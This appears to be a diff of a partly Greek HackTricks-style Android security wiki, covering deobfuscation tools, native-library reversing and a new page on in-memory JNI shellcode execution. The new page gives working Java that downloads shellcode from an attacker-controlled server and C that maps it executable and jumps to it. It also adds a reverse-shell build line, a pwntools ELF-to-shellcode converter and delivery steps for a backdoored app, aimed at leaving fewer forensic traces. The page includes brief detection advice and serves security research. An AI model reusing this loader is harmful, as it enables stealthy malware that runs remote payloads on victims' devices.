||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Βρείτε έναν βήμα-προς-βήμα οδηγό για να deobfuscate το apk στο [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(From that guide) Την τελευταία φορά που ελέγξαμε, ο τρόπος λειτουργίας του Dexguard ήταν:
|
||||
|
||||
- φορτώνει ένα resource ως InputStream;
|
||||
- περνάει το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το decrypt;
|
||||
- κάνει κάποια άσκοπη obfuscation για να χάσει μερικά λεπτά από τον reverser;
|
||||
- περνάει το decrypted αποτέλεσμα σε ένα ZipInputStream για να πάρει ένα DEX file;
|
||||
- τροφοδοτεί το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το decrypt;
|
||||
- κάνει κάποια άσκοπη obfuscation για να σπαταλήσει μερικά λεπτά από το χρόνο ενός reverser;
|
||||
- τροφοδοτεί το decrypted αποτέλεσμα σε ZipInputStream για να πάρει ένα DEX αρχείο;
|
||||
- τελικά φορτώνει το προκύπτον DEX ως Resource χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
@ -793,42 +797,38 @@ From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuar
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Αυτό είναι ένα LLM εργαλείο για να βρει πιθανές security vulnerabilities σε android apps και να deobfuscate τον android app code. Uses Google's Gemini public API.
|
||||
Αυτό είναι ένα LLM εργαλείο για να βρει πιθανές security vulnerabilities σε android apps και να deobfuscate τον android app code. Χρησιμοποιεί το public API Google Gemini.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
It is a **generic android deobfuscator.** Το Simplify **virtually executes an app** για να κατανοήσει τη συμπεριφορά του και στη συνέχεια **tries to optimize the code** έτσι ώστε να συμπεριφέρεται πανομοιότυπα αλλά να είναι ευκολότερο για έναν άνθρωπο να καταλάβει. Κάθε τύπος optimization είναι απλός και generic, οπότε δεν έχει σημασία ποιος συγκεκριμένος τύπος obfuscation έχει χρησιμοποιηθεί.
|
||||
It is a **generic android deobfuscator.** Το Simplify **virtually executes an app** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να optimize τον code** ώστε να συμπεριφέρεται ταυτόσημα αλλά να είναι πιο εύκολο για έναν άνθρωπο να το καταλάβει. Κάθε τύπος optimization είναι απλός και generic, οπότε δεν έχει σημασία τι συγκεκριμένος τύπος obfuscation χρησιμοποιήθηκε.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD gives you information about **how an APK was made**. Αναγνωρίζει πολλούς **compilers**, **packers**, **obfuscators**, και άλλα περίεργα πράγματα. Είναι [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
Το APKiD δίνει πληροφορίες για **το πώς φτιάχτηκε ένα APK**. Αναγνωρίζει πολλούς **compilers**, **packers**, **obfuscators**, και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Διαβάστε αυτόν τον οδηγό για να μάθετε μερικά κόλπα για **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b is an Android security virtual machine based on ubuntu-mate που περιλαμβάνει συλλογή από τα τελευταία framework, tutorials και labs από διαφορετικούς security geeks και researchers για reverse engineering και malware analysis.
|
||||
AndroL4b είναι μια Android security virtual machine βασισμένη σε ubuntu-mate που περιλαμβάνει συλλογή από τα τελευταία framework, tutorials και labs από διάφορους security geeks και researchers για reverse engineering και malware analysis.
|
||||
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Είναι μια εξαιρετική λίστα πόρων
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Γρήγορο μάθημα Android
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,121 @@
|
||||
# Android Εκτέλεση Native Κώδικα στη Μνήμη μέσω JNI (shellcode)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα τεκμηριώνει ένα πρακτικό μοτίβο για την εκτέλεση native payloads πλήρως στη μνήμη από μια μη αξιόπιστη διεργασία Android app χρησιμοποιώντας JNI. Το flow αποφεύγει τη δημιουργία οποιουδήποτε native δυαδικού αρχείου στο δίσκο: κατεβάστε raw shellcode bytes μέσω HTTP(S), περάστε τα σε μια γέφυρα JNI, δεσμεύστε μνήμη RX, και κάντε jump σε αυτήν.
|
||||
|
||||
Why it matters
|
||||
- Μειώνει τα forensic artifacts (no ELF on disk)
|
||||
- Συμβατό με “stage-2” native payloads που παράγονται από ένα ELF exploit binary
|
||||
- Ταιριάζει με το tradecraft που χρησιμοποιούν σύγχρονα malware και red teams
|
||||
|
||||
High-level pattern
|
||||
1) Ανακτήστε shellcode bytes σε Java/Kotlin
|
||||
2) Καλέστε μια native μέθοδο (JNI) με το byte array
|
||||
3) Στο JNI: allocate RW μνήμη → copy bytes → mprotect σε RX → call entrypoint
|
||||
|
||||
Minimal example
|
||||
|
||||
Java/Kotlin side
|
||||
```java
|
||||
public final class NativeExec {
|
||||
static { System.loadLibrary("nativeexec"); }
|
||||
public static native int run(byte[] sc);
|
||||
}
|
||||
|
||||
// Download and execute (simplified)
|
||||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||
int rc = NativeExec.run(sc);
|
||||
```
|
||||
C JNI πλευρά (arm64/amd64)
|
||||
```c
|
||||
#include <jni.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static inline void flush_icache(void *p, size_t len) {
|
||||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||
jsize len = (*env)->GetArrayLength(env, sc);
|
||||
if (len <= 0) return -1;
|
||||
|
||||
// RW anonymous buffer
|
||||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (buf == MAP_FAILED) return -2;
|
||||
|
||||
jboolean isCopy = 0;
|
||||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||
if (!bytes) { munmap(buf, len); return -3; }
|
||||
|
||||
memcpy(buf, bytes, len);
|
||||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||
|
||||
// Make RX and execute
|
||||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||
flush_icache(buf, len);
|
||||
|
||||
int (*entry)(void) = (int (*)(void))buf;
|
||||
int ret = entry();
|
||||
|
||||
// Optional: restore RW and wipe
|
||||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||
memset(buf, 0, len);
|
||||
munmap(buf, len);
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
Σημειώσεις και επιφυλάξεις
|
||||
- W^X/execmem: Το σύγχρονο Android εφαρμόζει W^X· οι ανώνυμες PROT_EXEC απεικονίσεις επιτρέπονται γενικά για διεργασίες εφαρμογών με JIT (υπό την πολιτική SELinux). Ορισμένες συσκευές/ROMs το περιορίζουν· χρησιμοποιήστε fallback σε JIT-allocated exec pools ή native bridges όταν χρειάζεται.
|
||||
- Αρχιτεκτονικές: Βεβαιωθείτε ότι η αρχιτεκτονική του shellcode ταιριάζει με τη συσκευή (συνήθως arm64-v8a· x86 μόνο σε emulators).
|
||||
- Entrypoint contract: Επιλέξτε μια σύμβαση για το entrypoint του shellcode (χωρίς args vs δείκτης σε δομή). Κρατήστε το position-independent (PIC).
|
||||
- Σταθερότητα: Καθαρίστε την cache εντολών πριν το άλμα· μη ταιριαστή cache μπορεί να προκαλέσει crash σε ARM.
|
||||
|
||||
Packaging ELF → position‑independent shellcode
|
||||
Μια στιβαρή ροή εργασίας είναι:
|
||||
- Δημιουργήστε το exploit σας ως static ELF με musl-gcc
|
||||
- Μετατρέψτε το ELF σε self‑loading shellcode blob χρησιμοποιώντας pwntools’ shellcraft.loader_append
|
||||
|
||||
Κατασκευή
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
Μετατροπή ELF σε raw shellcode (παράδειγμα amd64)
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||
sc = asm(loader)
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||
```
|
||||
Γιατί λειτουργεί το loader_append: παράγει έναν μικρό loader που χαρτογραφεί τα ενσωματωμένα ELF program segments στη μνήμη και μεταφέρει τον έλεγχο στο entrypoint του, δίνοντάς σας ένα ενιαίο raw blob που μπορεί να memcpy’ed και να εκτελεστεί από την app.
|
||||
|
||||
Delivery
|
||||
- Host sc on an HTTP(S) server you control
|
||||
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
|
||||
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
|
||||
|
||||
Validation workflow for kernel payloads
|
||||
- Use a symbolized vmlinux for fast reversing/offset recovery
|
||||
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
|
||||
|
||||
Hardening/Detection (blue team)
|
||||
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
|
||||
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
|
||||
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
|
||||
|
||||
References
|
||||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,50 +1,50 @@
|
||||
# Αντίστροφη ανάλυση native βιβλιοθηκών
|
||||
# Reversing Native Libraries
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Για περισσότερες πληροφορίες δείτε:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Οι Android εφαρμογές μπορούν να χρησιμοποιούν native βιβλιοθήκες, συνήθως γραμμένες σε C ή C++, για εργασίες κρίσιμες ως προς την απόδοση. Οι δημιουργοί malware επίσης κακοποιούν αυτές τις βιβλιοθήκες επειδή τα ELF shared objects είναι ακόμα πιο δύσκολα στην αποσύνθεση από το DEX/OAT byte-code.
|
||||
Αυτή η σελίδα επικεντρώνεται σε *πρακτικά* workflows και *πρόσφατες* βελτιώσεις εργαλείων (2023-2025) που κάνουν την αντίστροφη ανάλυση των Android `.so` αρχείων πιο εύκολη.
|
||||
Android apps can use native libraries, typically written in C or C++, for performance-critical tasks. Οι δημιουργοί malware επίσης καταχρώνται αυτές τις βιβλιοθήκες επειδή τα ELF shared objects παραμένουν πιο δύσκολα στο decompile από το DEX/OAT byte-code.
|
||||
Αυτή η σελίδα επικεντρώνεται σε *πρακτικές* ροές εργασίας και *πρόσφατες* βελτιώσεις εργαλείων (2023-2025) που κάνουν το reversing Android `.so` αρχείων πιο εύκολο.
|
||||
|
||||
---
|
||||
|
||||
### Γρήγορο workflow διαλογής για ένα πρόσφατα εξαγμένο `libfoo.so`
|
||||
### Quick triage-workflow for a freshly pulled `libfoo.so`
|
||||
|
||||
1. **Εξαγωγή της βιβλιοθήκης**
|
||||
1. **Extract the library**
|
||||
```bash
|
||||
# From an installed application
|
||||
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
|
||||
# Or from the APK (zip)
|
||||
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
|
||||
```
|
||||
2. **Καθορισμός αρχιτεκτονικής & προστασιών**
|
||||
2. **Identify architecture & protections**
|
||||
```bash
|
||||
file libfoo.so # arm64 or arm32 / x86
|
||||
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
||||
checksec --file libfoo.so # (peda/pwntools)
|
||||
```
|
||||
3. **Καταγραφή εξαγόμενων συμβόλων & δεσμών JNI**
|
||||
3. **List exported symbols & JNI bindings**
|
||||
```bash
|
||||
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
||||
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
||||
```
|
||||
4. **Φόρτωση σε decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) και εκτέλεση αυτόματης ανάλυσης.
|
||||
Οι νεότερες εκδόσεις Ghidra εισήγαγαν έναν AArch64 decompiler που αναγνωρίζει PAC/BTI stubs και MTE tags, βελτιώνοντας σημαντικά την ανάλυση βιβλιοθηκών που χτίστηκαν με το Android 14 NDK.
|
||||
5. **Αποφασίστε για static vs dynamic reversing:** ο stripped, obfuscated κώδικας συχνά χρειάζεται *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||
4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
|
||||
Οι νεότερες εκδόσεις του Ghidra εισήγαγαν έναν AArch64 decompiler που αναγνωρίζει PAC/BTI stubs και MTE tags, βελτιώνοντας σημαντικά την ανάλυση βιβλιοθηκών που έχουν χτιστεί με το Android 14 NDK.
|
||||
5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||
|
||||
---
|
||||
|
||||
### Δυναμική instrumentation (Frida ≥ 16)
|
||||
### Dynamic Instrumentation (Frida ≥ 16)
|
||||
|
||||
Η σειρά 16 του Frida έφερε αρκετές βελτιώσεις ειδικά για Android που βοηθούν όταν ο στόχος χρησιμοποιεί σύγχρονες βελτιστοποιήσεις Clang/LLD:
|
||||
Η σειρά 16 του Frida έφερε αρκετές βελτιώσεις ειδικές για Android που βοηθούν όταν ο στόχος χρησιμοποιεί σύγχρονες βελτιστοποιήσεις Clang/LLD:
|
||||
|
||||
* `thumb-relocator` πλέον μπορεί να hook tiny ARM/Thumb functions που παράγονται από την επιθετική στοίχιση του LLD (`--icf=all`).
|
||||
* Η καταγραφή και επαναδέσμευση των *ELF import slots* λειτουργεί σε Android, επιτρέποντας per-module `dlopen()`/`dlsym()` patching όταν τα inline hooks απορρίπτονται.
|
||||
* Το Java hooking διορθώθηκε για το νέο **ART quick-entrypoint** που χρησιμοποιείται όταν οι εφαρμογές μεταγλωττίζονται με `--enable-optimizations` στο Android 14.
|
||||
* `thumb-relocator` can now *hook tiny ARM/Thumb functions* generated by LLD’s aggressive alignment (`--icf=all`).
|
||||
* Enumerating and rebinding *ELF import slots* works on Android, enabling per-module `dlopen()`/`dlsym()` patching when inline hooks are rejected.
|
||||
* Java hooking was fixed for the new **ART quick-entrypoint** used when apps are compiled with `--enable-optimizations` on Android 14.
|
||||
|
||||
Παράδειγμα: καταγραφή όλων των functions που εγγράφονται μέσω `RegisterNatives` και dump των διευθύνσεών τους κατά το runtime:
|
||||
Παράδειγμα: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var Runtime = Java.use('java.lang.Runtime');
|
||||
@ -61,18 +61,18 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
|
||||
});
|
||||
});
|
||||
```
|
||||
Frida θα λειτουργήσει χωρίς επιπλέον ρυθμίσεις σε συσκευές με ενεργοποιημένο PAC/BTI (Pixel 8/Android 14+) αρκεί να χρησιμοποιήσετε frida-server 16.2 ή νεότερη — οι παλαιότερες εκδόσεις απέτυχαν να εντοπίσουν padding για inline hooks.
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||
|
||||
### Τοπική τηλεμετρία JNI σε επίπεδο διεργασίας μέσω προφορτωμένης .so (SoTap)
|
||||
### Τοπική στη διεργασία τηλεμετρία JNI μέσω προφορτωμένης .so (SoTap)
|
||||
|
||||
Όταν η πλήρης instrumentation με όλα τα χαρακτηριστικά είναι υπερβολική ή μπλοκάρεται, μπορείτε παρόλα αυτά να αποκτήσετε ορατότητα σε επίπεδο native προφορτώνοντας έναν μικρό logger μέσα στη στοχευόμενη διεργασία. Το SoTap είναι μια ελαφριά Android native (.so) βιβλιοθήκη που καταγράφει τη συμπεριφορά κατά το runtime άλλων JNI (.so) βιβλιοθηκών μέσα στην ίδια διεργασία εφαρμογής (no root required).
|
||||
Όταν η πλήρης instrumentation είναι υπερβολική ή μπλοκαρισμένη, μπορείτε ακόμα να αποκτήσετε ορατότητα σε επίπεδο native φορτώνοντας προληπτικά έναν μικρό logger μέσα στη στοχευόμενη διεργασία. Το SoTap είναι μια ελαφριά Android native (.so) βιβλιοθήκη που καταγράφει τη συμπεριφορά κατά το runtime άλλων JNI (.so) βιβλιοθηκών εντός της ίδιας διεργασίας της εφαρμογής (δεν απαιτείται root).
|
||||
|
||||
Βασικά χαρακτηριστικά:
|
||||
- Εκκινεί νωρίς και παρακολουθεί τις αλληλεπιδράσεις JNI/native μέσα στη διεργασία που το φορτώνει.
|
||||
- Αποθηκεύει τα logs σε πολλαπλές εγγράψιμες τοποθεσίες με ομαλή εναλλαγή στο Logcat όταν ο αποθηκευτικός χώρος είναι περιορισμένος.
|
||||
- Προσαρμόσιμο σε επίπεδο πηγαίου κώδικα: επεξεργαστείτε το sotap.c για να επεκτείνετε/προσαρμόσετε τι καταγράφεται και ανακατασκευάστε ανά ABI.
|
||||
Key properties:
|
||||
- Εκκινεί νωρίς και παρατηρεί τις JNI/native αλληλεπιδράσεις μέσα στη διεργασία που το φορτώνει.
|
||||
- Διατηρεί τα logs χρησιμοποιώντας πολλαπλές εγγράψιμες διαδρομές με ομαλή εναλλακτική λύση σε Logcat όταν η αποθήκευση είναι περιορισμένη.
|
||||
- Προσαρμόσιμο σε επίπεδο πηγαίου κώδικα: επεξεργαστείτε το sotap.c για να επεκτείνετε/προσαρμόσετε τι καταγράφεται και αναδημιουργήστε ανά ABI.
|
||||
|
||||
Ρύθμιση (repack the APK):
|
||||
Setup (repack the APK):
|
||||
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
|
||||
- lib/arm64-v8a/libsotap.so (for arm64)
|
||||
- lib/armeabi-v7a/libsotap.so (for arm32)
|
||||
@ -83,7 +83,7 @@ invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
```
|
||||
3) Rebuild/sign/install, run the app, then collect logs.
|
||||
|
||||
Διαδρομές καταγραφών (ελέγχονται με αυτή τη σειρά):
|
||||
Log paths (checked in order):
|
||||
```
|
||||
/data/user/0/%s/files/sotap.log
|
||||
/data/data/%s/files/sotap.log
|
||||
@ -92,30 +92,40 @@ invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
# If all fail: fallback to Logcat only
|
||||
```
|
||||
Σημειώσεις και αντιμετώπιση προβλημάτων:
|
||||
- Η ευθυγράμμιση του ABI είναι υποχρεωτική. Μη ταύτιση θα προκαλέσει UnsatisfiedLinkError και ο logger δεν θα φορτωθεί.
|
||||
- Οι περιορισμοί αποθήκευσης είναι συνηθισμένοι σε σύγχρονα Android· αν οι εγγραφές αρχείων αποτύχουν, το SoTap θα εξακολουθήσει να εκδίδει μέσω Logcat.
|
||||
- Η συμπεριφορά/λεπτολογησία προορίζεται να προσαρμοστεί· αναδημιουργήστε από τον πηγαίο κώδικα μετά την επεξεργασία του sotap.c.
|
||||
- Η στοίχιση ABI είναι υποχρεωτική. Μια ασυμφωνία θα προκαλέσει UnsatisfiedLinkError και ο logger δεν θα φορτωθεί.
|
||||
- Οι περιορισμοί αποθήκευσης είναι συνηθισμένοι σε σύγχρονα Android· αν η εγγραφή αρχείων αποτύχει, το SoTap θα συνεχίσει να εκδίδει μέσω Logcat.
|
||||
- Η συμπεριφορά/λεπτομέρεια εξόδου προορίζεται για προσαρμογή· ανασυνθέστε από τον πηγαίο κώδικα μετά την επεξεργασία του sotap.c.
|
||||
|
||||
Αυτή η προσέγγιση είναι χρήσιμη για malware triage και JNI debugging όπου η παρακολούθηση των ροών κλήσεων native από την εκκίνηση της διεργασίας είναι κρίσιμη αλλά δεν υπάρχουν διαθέσιμα root/system-wide hooks.
|
||||
Αυτή η προσέγγιση είναι χρήσιμη για την αξιολόγηση malware και το debugging του JNI, όπου η παρατήρηση των native ροών κλήσεων από την εκκίνηση της διεργασίας είναι κρίσιμη αλλά δεν υπάρχουν root/system-wide hooks.
|
||||
|
||||
---
|
||||
|
||||
### Δείτε επίσης: in‑memory native code execution via JNI
|
||||
|
||||
Ένα συνηθισμένο μοτίβο επίθεσης είναι να κατεβάσει ένα raw shellcode blob κατά το runtime και να το εκτελέσει απευθείας από τη μνήμη μέσω μιας JNI bridge (χωρίς on‑disk ELF). Λεπτομέρειες και έτοιμο προς χρήση JNI snippet εδώ:
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
### Πρόσφατες ευπάθειες που αξίζει να αναζητήσετε σε APKs
|
||||
|
||||
| Έτος | CVE | Επηρεασμένη βιβλιοθήκη | Σημειώσεις |
|
||||
| Year | CVE | Affected library | Notes |
|
||||
|------|-----|------------------|-------|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow προσβάσιμο από native κώδικα που αποκωδικοποιεί εικόνες WebP. Πολλές εφαρμογές Android ενσωματώνουν ευπαθείς εκδόσεις. Όταν δείτε ένα `libwebp.so` μέσα σε ένα APK, ελέγξτε την έκδοσή του και δοκιμάστε εκμετάλλευση ή επιδιόρθωση.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Πολλά ζητήματα ασφάλειας μνήμης και padding-oracle. Πολλά πακέτα Flutter & ReactNative περιλαμβάνουν το δικό τους `libcrypto.so`.|
|
||||
|
||||
Όταν εντοπίσετε *third-party* `.so` αρχεία μέσα σε ένα APK, πάντα αντιπαραβάλετε το hash τους με upstream advisories. SCA (Software Composition Analysis) είναι ασυνήθιστη στο mobile, οπότε παλιές ευάλωτες builds είναι διαδεδομένες.
|
||||
Όταν εντοπίσετε *third-party* `.so` αρχεία μέσα σε ένα APK, πάντα ελέγχετε το hash τους έναντι upstream advisories. SCA (Software Composition Analysis) είναι ασυνήθιστο στο mobile, οπότε παρωχημένα ευπαθή builds είναι διαδεδομένα.
|
||||
|
||||
---
|
||||
|
||||
### Anti-Reversing & Hardening trends (Android 13-15)
|
||||
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 ενεργοποιεί PAC/BTI στις system libraries σε υποστηριζόμενο ARMv8.3+ silicon. Οι decompilers πλέον εμφανίζουν PAC‐σχετικές pseudo-instructions· για dynamic analysis το Frida εγχέει trampolines *after* stripping PAC, αλλά τα custom trampolines σας θα πρέπει να καλούν `pacda`/`autibsp` όπου χρειάζεται.
|
||||
* **MTE & Scudo hardened allocator:** Το memory-tagging είναι opt-in αλλά πολλές Play-Integrity aware apps κάνουν build με `-fsanitize=memtag`; χρησιμοποιήστε `setprop arm64.memtag.dump 1` μαζί με `adb shell am start ...` για να καταγράψετε tag faults.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`.
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Το Android 14 ενεργοποιεί PAC/BTI στις system libraries σε υποστηριζόμενα ARMv8.3+ silicon. Οι decompilers πλέον εμφανίζουν pseudo-εντολές σχετικές με PAC· για dynamic analysis, το Frida εγχέει trampolines *after* stripping PAC, αλλά τα custom trampolines σας θα πρέπει να καλούν `pacda`/`autibsp` όπου χρειάζεται.
|
||||
* **MTE & Scudo hardened allocator:** Το memory-tagging είναι opt-in αλλά πολλές εφαρμογές που σέβονται Play-Integrity κατασκευάζονται με `-fsanitize=memtag`; χρησιμοποιήστε `setprop arm64.memtag.dump 1` μαζί με `adb shell am start ...` για να συλλάβετε tag faults.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** Οι commercial packers (π.χ., Bangcle, SecNeo) προστατεύουν ολοένα και περισσότερο τον *native* κώδικα, όχι μόνο Java· αναμένετε ψευδή control-flow και κρυπτογραφημένα string blobs στο `.rodata`.
|
||||
|
||||
---
|
||||
|
||||
@ -125,12 +135,13 @@ invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
||||
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### References
|
||||
### Αναφορές
|
||||
|
||||
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user